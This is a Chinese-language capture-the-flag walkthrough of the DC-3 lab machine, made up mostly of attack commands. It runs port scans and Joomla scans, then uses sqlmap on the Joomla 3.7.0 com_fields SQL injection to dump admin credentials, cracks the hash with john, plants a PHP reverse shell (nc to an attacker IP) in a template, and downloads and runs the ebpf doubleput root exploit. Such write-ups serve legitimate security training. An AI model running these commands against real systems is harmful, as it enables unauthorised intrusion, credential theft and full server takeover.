DC-3靶机

仅供个人娱乐

靶机信息

下载地址：http://www.five86.com/downloads/DC-3.zip

一、主机扫描

arp-scan -l

nmap -A -p 1-65535 -sV 192.168.17.133

二、信息收集

使用joomscan对Dc3靶机网站进行扫描

apt-getinstall joomscan

joomscan--url http://192.168.17.133

git clone https://github.com/Tuhinshubhra/CMSeeK

复制到/root

root@kali:~/CMSeeK# python3 cmseek.py --url http://192.168.17.133

searchsploit joomla 3.7.0

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root

数据库
sqlmap
-u
"http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
--risk=3 --level=5 --random-agent --dbs -p list[fullordering]

当前数据库

sqlmap
-u
"http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
--risk=3 --level=5 --random-agent --current-db -p list[fullordering]

表

sqlmap
-u
"http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
--risk=3 --level=5 --random-agent -D "joomladb" --tables -p
list[fullordering]

列
sqlmap
-u
"http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
--risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns
-p list[fullordering]

查询#__users表的name、password字段，输出信息

sqlmap
-u
"http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
--risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C
"name,password" --dump -p list[fullordering]

vim 1

admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zukali

john 1

破解得到admin密码为snoopy。

登录后台 信息收集

信息收集

在Joomla后台的模板管理中，选择一个模板并编辑，在modules.php插入小马

编写反弹shell的PHP代码，，监听4444端口，并执行脚本文件，将反弹靶机shell到kali

失败了 换页面编辑

nc -lvp 1337 #kali开启1337监听端口

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.17.129 1337 >/tmp/f');?>

成功获取shell，使用searchsploit工具查找Ubuntu 16.04的提权漏洞，发现一个“拒绝服务漏洞”，可以用来提权。

cp /usr/share/exploitdb/exploits/linux/local/39772.txt /root

cd /root

cat 39772.txt

直接下载失败

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

unzip 39772.zip

cd 39772

tar -xvf exploit.tar

ls

cd ebpf_mapfd_doubleput_exploit

ls

蚁剑上传

./compile.sh

./doubleput